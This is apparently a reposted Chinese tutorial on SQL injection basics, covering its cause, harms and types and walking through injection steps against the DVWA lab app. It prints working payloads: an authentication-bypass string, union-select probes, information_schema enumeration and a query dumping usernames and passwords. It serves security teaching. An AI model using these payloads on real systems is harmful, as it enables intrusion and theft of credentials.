03. SQL注入漏洞基础

03. SQL注入漏洞基础

SQL注入漏洞基础(上)

/01 SQL注入的原理

SQL注入原理
SQL注入产生的原因

当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎,获取或修改数据库中的数据。

03. SQL注入漏洞基础_第1张图片

SQL注入的本质

把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则

SQL注入的两个关键点
  1. 用户能够控制输入的内容;
  2. Web应用把用户输入的内容带入到数据库中执行

03. SQL注入漏洞基础_第2张图片

/02 SQL注入的危害

SQL注入的危害
  • 盗取网站的敏感信息

  • 绕过网站后台认证

    后台登录语句:

    SELECT * FEOM admin WHERE username = 'user' and password = 'pass'
    

    万能密码:’ or ‘1’ = ‘1’ #

  • 借助SQL注入漏洞提权获取系统权限

  • 读取文件信息

/03 SQL注入的分类

SQL注入的分类

根据注入位置分类:GET型、POST型、Head头注入

根据反馈结果分类:有回显(显错注入)、无回显(盲注)

根据数据类型分类**(我们更加关注)**:

​ 数字型:输入的参数为整型,入id、年龄、页码等

​ 字符型:输入的参数为字符串

数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要单引号闭合

/04 SQL注入的流程

SQL注入的流程
1、寻找注入点

03. SQL注入漏洞基础_第3张图片

2、判断闭合方式

?id=1asdfa

有报错:数字型,无闭合或 )闭合

无报错:字符型,再判断闭合方式,’ “ ‘)“)

03. SQL注入漏洞基础_第4张图片

SQL注入漏洞基础(下)

2、判断闭合方式(续)

?id=1asdfa’

查看报错信息,这里的闭合方式为’

03. SQL注入漏洞基础_第5张图片

3、验证漏洞

?id=1’ or 1=1 # 正常显示

03. SQL注入漏洞基础_第6张图片

4、判断列数及回显位

?id=1’ ) order by 4 #

?id=1’ ) order by 3 #

说明列数为2列

03. SQL注入漏洞基础_第7张图片

03. SQL注入漏洞基础_第8张图片

?id=-1’ ) union select 1, 2#

说明回显位为1,2

03. SQL注入漏洞基础_第9张图片

联合查询下,两个select一定要相同字段数量

sql注入流程:

  1. 查询数据库类型:通过错误显示,已经知道是mysql

  2. 查询当前系统所使用的数据库名称是什么:dvwa

    03. SQL注入漏洞基础_第10张图片

    select * from 表名 where id = '1' union select 1, database()#
    
  3. 查询当前数据库的表有什么内容:

    information_schema查询表名

    0' union select 1, table_name from information_schema.tables where table_schema = 'dvwa
    
  4. 查询指定表的字段信息:

    information_schema查询字段信息

    0' union select 1, group_concat(column_name) from information_schema.columns where table_name = 'users
    
  5. 查询想要的信息内容:

    0' union select user, password  from users#
    

你可能感兴趣的:(sql,数据库,安全)